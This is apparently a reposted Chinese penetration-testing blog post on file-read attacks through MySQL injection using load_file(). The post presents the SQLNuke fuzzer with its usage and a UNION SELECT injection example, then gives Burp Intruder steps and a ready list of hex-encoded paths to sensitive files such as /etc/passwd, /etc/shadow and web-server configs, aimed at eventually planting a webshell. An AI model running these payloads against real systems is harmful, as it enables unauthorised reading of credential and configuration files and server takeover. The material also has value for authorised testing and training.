MySQL注入Load_File()函数应用

Posted 潇湘信安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL注入Load_File()函数应用相关的知识,希望对你有一定的参考价值。

声明: 该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

         

         

   


0x01 前言

相信很多人在渗透测试过程中都有遇到过这种情况:一个mysql Root高权限注入点,也具备读取和写入权限,这时只需要找到网站绝对路径就可以写入Webshell了,但如果利用所有已知方法还是找不到网站绝对路径呢?这节我将给大家介绍一款注入辅助工具和BurpSuite利用方式


0x02 SQLNuke工具介绍

SQLNuke是一款用ruby编写的MySQL load_file Fuzzer工具,可以在找到网站高权限注入漏洞时辅助使用,它可以将目标系统中存在的文件下载到本地。
  • https://github.com/nuke99/sqlnuke


工具的原理也很简单,使用load_file函数配合路径字典来探测哪些文件可被读取并下载到本地磁盘。
sql.rb //主程序config.yml //配置文件lib/ //基础库目录output/ //输出目录inputs/packset.lst //字典文件class/methods.rb        //类文件
root@Jacks:~/sqlnuke-master# ./sql.rb -h    -u, --url URL      Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2-- -d, --data DATA POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John -x, --hex Hex Conversion --proxy http://IP:PORT HTTP Proxy --os (linux,win) Target Server OS (linux,win) --agent AGENT User-Agent for the header --ref REFERER Referer for the header --cookie COOKIE Cookie for the header -h, --help Information about commands


0x03 利用BurpSuite测试

我们可以把SQLNuke工具的字典文件拷贝到本地,然后自己添加一些Apache、phpMyAdmin或者其它常见敏感文件的绝对路径。
  • http://wiki.apache.org/httpd/DistrosDefaultLayout


SQLNuke在执行时会将字典里的路径自动转换成Hex编码,而BurpSuite不会自动转换Hex编码,所以得先把拷贝下来的字典文件的路径转换为Hex(十六进制),且得在Hex前加“0x”。 注: BurpSuite中有一个Encode as ASCII hex选项可以进行编码!
  • BurpSuite-> Intruder -> Payloads->Payload Processing->Add->Encode(Encode as ASCII hex)
0x2F6574632F7061737377640x2F6574632F736861646F770x2F6574632F67726F75700x2F6574632F686F7374730x2F6574632F617061636865322F6C6F67732F6163636573732E6C6F670x2F6574632F68747470642F6163636573732E6C6F670x2F6574632F696E69742E642F6170616368652F68747470642E636F6E660x2F6574632F696E69742E642F617061636865322F68747470642E636F6E660x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E660x2F7573722F6C6F63616C2F6170616368652F636F6E662F68747470642E636F6E660x2F686F6D652F6170616368652F68747470642E636F6E660x2F686F6D652F6170616368652F636F6E662F68747470642E636F6E660x2F6F70742F6170616368652F636F6E662F68747470642E636F6E660x2F6574632F68747470642F68747470642E636F6E660x2F6574632F68747470642F636F6E662F68747470642E636F6E660x2F6574632F6170616368652F6170616368652E636F6E660x2F6574632F6170616368652F68747470642E636F6E660x2F6574632F617061636865322F617061636865322E636F6E660x2F6574632F617061636865322F68747470642E636F6E660x2F7573722F6C6F63616C2F617061636865322F636F6E662F68747470642E636F6E660x433A5C626F6F742E696E690x433a5c77616d705c62696e5c6170616368655c6c6f67735c6163636573732e6c6f670x433a5c77616d705c62696e5c6d7973716c5c6d7973716c352e352e32345c77616d707365727665722e636f6e660x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c68747470642e636f6e660x433a5c77616d705c62696e5c6170616368655c617061636865322e322e32325c636f6e665c77616d707365727665722e636f6e660x433a5c70687053747564795c4170616368655c636f6e665c68747470642e636f6e660x433a5c77696e646f77735c73797374656d33325c696e65747372765c4d657461426173652e786d6c
MySQL注入Load_File()函数应用

将上图中抓取到的SQL注入点数据包发送到 Intruder模块 ,接着选择第2项Positions,点击“Clear$”清除默认参数 然后选中数据包中“load_file(xxxx)”括号里的“xxxx”,点击“Add$”即可。
MySQL注入Load_File()函数应用

这时切换到第3项Payloads加载我们 事先 准备好的字典,然后再切换到第4项Options设置下线程数 都设置好了 以后 就可以点击BurpSuite菜单栏上的Intruder选项,点击Start Attack进行测试。
MySQL注入Load_File()函数应用

等测试完后,可以根据返回数据包的Length(长度)大小进行排序 这里会看到返回数据包的Length都不一样,因为返回的数据包里包含了不同的SQL注入语句 ,所以最终 输出 的Length 也不一样。



只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

以上是关于MySQL注入Load_File()函数应用的主要内容,如果未能解决你的问题,请参考以下文章

sql注入--高权限,load_file读写文件

mysql 带外注入

Mysql注入中的outfiledumpfileload_file函数详解

mysql中函数load_file()问题

网络安全从入门到精通 (第五章-2) MySQL注入 — Dns 注入

任何网络用户如何安装或更改 MySQL 以使用函数“load_file”?